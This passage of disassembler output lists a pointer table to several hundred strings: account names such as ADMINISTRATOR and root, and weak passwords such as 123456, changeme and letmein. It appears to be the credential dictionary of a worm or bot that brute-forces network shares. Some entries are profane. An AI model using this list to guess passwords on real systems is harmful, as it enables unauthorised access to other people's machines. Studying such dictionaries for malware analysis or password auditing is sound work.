dd offset aAdministrato_2 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_1 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem ; "SYSTEM"
dd offset aServer_0 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1_0 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_1 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_433F74 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_427A14
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay_0 ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
